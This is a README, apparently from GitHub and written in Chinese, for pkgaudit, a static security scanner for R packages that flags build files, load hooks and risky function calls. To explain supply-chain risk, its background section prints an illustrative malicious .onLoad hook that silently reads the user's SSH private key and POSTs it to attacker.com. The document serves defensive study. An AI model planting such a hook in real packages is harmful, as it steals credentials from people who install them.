tylerjssmith/pkgaudit

GitHub: tylerjssmith/pkgaudit

pkgaudit 是一款针对 R 语言包的静态安全审计工具,通过扫描构建脚本、生命周期钩子和高风险函数调用来发现潜在的供应链安全威胁。

Stars: 0 | Forks: 0

# pkgaudit [![R-CMD-check](https://static.pigsec.cn/wp-content/uploads/repos/cas/0c/0c53c9f366c107b6cef02195f562e6d536e7b019a71c67162cb09f76546983df.svg)](https://github.com/tylerjssmith/pkgaudit/actions/workflows/R-CMD-check.yaml) [![osv-scanner](https://static.pigsec.cn/wp-content/uploads/repos/cas/ec/ecf1f7df360750fcdedc674b01c92711c7d1a167434bbacf0b12fb3ebed451cd.svg)](https://github.com/tylerjssmith/pkgaudit/actions/workflows/osv-scanner.yaml) pkgaudit 为 R 包提供静态分析安全测试(SAST)。它会在 R 包中搜索可能在构建、检查和安装期间执行的文件,以及当包的 namespace 被加载、绑定、卸载或解除绑定时可能执行的代码。它还会扫描 R 源代码以查找与安全相关的模式。检查结果并不一定代表存在恶意意图——相反,在信任该包之前,应该先对这些结果进行审查。 ## 背景 R 是一种统计编程语言,被广泛应用于处理敏感数据的环境中:临床试验分析、政府统计、金融风险建模、学术研究等等。 R 包是共享 R 代码的主要机制。它们也是潜在的攻击媒介。例如,当用户调用 `install.packages()` 或 `library()` 时,R 会自动执行顶层代码以及 `.onLoad()` 等钩子中的代码。如果该包捆绑了 C、C++ 或 Fortran 源代码,可能还会执行一个或多个脚本和类似 Make 的文件。 一个恶意或被篡改的包可以在用户系统上运行任意代码,而除了正常的 R 工作流程外,无需用户进行任何其他操作。 恶意 `.onLoad()` 钩子的一个最小化示例如下所示: ``` .onLoad <- function(libname, pkgname) { tryCatch({ key <- paste( readLines("~/.ssh/id_rsa"), collapse = "\n" ) httr::POST( "https://attacker.com/collect", body = list(key = key) ) }, error = function(e) invisible(NULL)) } ``` 这段代码会在每次加载该包时读取用户的 SSH 私钥,并将其发送到外部服务器。`tryCatch()` 包装器会抑制所有错误,因此该包会正常加载,用户看不到任何异常。 这并非理论上的风险。在与 R 相邻的生态系统中,已经记录过多次类似的攻击。2022 年,PyPI 上的 Python 包 ctx 被篡改,用于从数据科学家的系统中窃取环境变量——包括云凭证。2024 年,广泛使用的计算机视觉库 Python 包 ultralytics 被篡改,向其用户分发挖矿木马。 R 在处理敏感数据环境中的使用,使其成为对各类威胁行为者极具吸引力的目标。面临风险的资产既包括在 R 会话中处理的数据,也包括运行 R 的底层系统,这些系统提供了用于横向移动的计算资源和凭证。 pkgaudit 旨在为这种未受到充分重视的风险提供一道防线。pkgaudit 的检查结果不一定代表存在恶意代码,但潜在用户应在运行前对被标记的代码进行审查。 ## 规则覆盖范围 v0.3.0 使用三种规则类别,将代码可以运行的*位置*与其执行的*内容*区分开来: - **文件上下文** 是指 R 在构建、检查或安装期间执行的文件。 - **代码上下文** 是指当 namespace 被加载、绑定、卸载或解除绑定时,其函数体会自动运行的顶层代码和生命周期钩子。 - **模式** 是指与安全相关的函数调用。每个模式的检查结果都会被归因于其执行所在的代码上下文,因此 `.onLoad` 内部的 `system()` 调用会与普通函数(`Other`)内部或顶层(`Top-level`)的调用区分开来。 | Class | Rules | |---|---| | 文件上下文 | `configure`, `configure.win`, `configure.ucrt`, `configure.ac`, `configure.in`, `cleanup`, `cleanup.win`, `src/Makefile[.win/.ucrt]`, `src/GNUmakefile`, `src/Makevars[.in/.win/.ucrt]`, `src/install.libs.R` | | 代码上下文 | `.onLoad`, `.onAttach`, `.onUnload`, `.onDetach`, `.Last.lib`, `rlang::on_load` | | 模式 | `system()`/`system2()`/`shell()`, `eval(parse())`, `source()`, `download.file()`, `options(repos=)`, 以及通过 `curl`, `httr`, `httr2`, `RCurl` 进行对外 HTTP 请求 | 模式规则带有 [MITRE ATT&CK](https://attack.mitre.org/) 技术标签。限定(`pkg::fn()`)和非限定(`fn()`)调用形式均可被检测到。规则定义位于 [inst/rules/](inst/rules/) 目录下。 ## 安装说明 您可以按照以下方式安装 pkgaudit: ``` remotes::install_github("tylerjssmith/pkgaudit") ``` ## 数据库完整性 pkgaudit 使用随包发布在 `inst/db/rules.db` 中的 SQLite 规则数据库来检测模式。要验证您安装的数据库副本自发布以来是否被修改过,请将其 SHA-256 哈希值与此处发布的值进行核对: ``` digest::digest( system.file("db", "rules.db", package = "pkgaudit"), algo = "sha256", file = TRUE ) ``` 预期的 SHA-256:`c5bbc586c99d9845cc141b8b773238f95014700b68a5202c9cbcce813f79adbe` 每当重新构建数据库时,`inst/scripts/build_db.R` 会自动重新生成该哈希值,并且应该与上述值完全匹配。`load_rules()` 在每次调用时都会根据其内置的 `.sha256` 伴随文件验证数据库,并拒绝加载被修改过的数据库。 ## 使用说明 源代码包压缩文件(tarball)可以在安装前按如下方式进行扫描: ``` library(pkgaudit) rules <- load_rules() result <- audit_tarball("path/to/foo_1.0.0.tar.gz", rules = rules) result$file_contexts # security-relevant files result$code_contexts # hooks / top-level code result$patterns # security-relevant calls, each with its code_context result$errors # any files or rules that could not be processed result$metadata # package name/version, SHA-256, rules version, scan time # audit_package() 返回一个 `pkgaudit` 对象,该对象带有 print 方法,用于 # 汇总 scan metadata 和 finding 计数: print(result) print(result, path = FALSE) # omit the local path from shared output ```
标签:R语言, SAST, StruQ, 盲注攻击, 错误基检测, 静态代码分析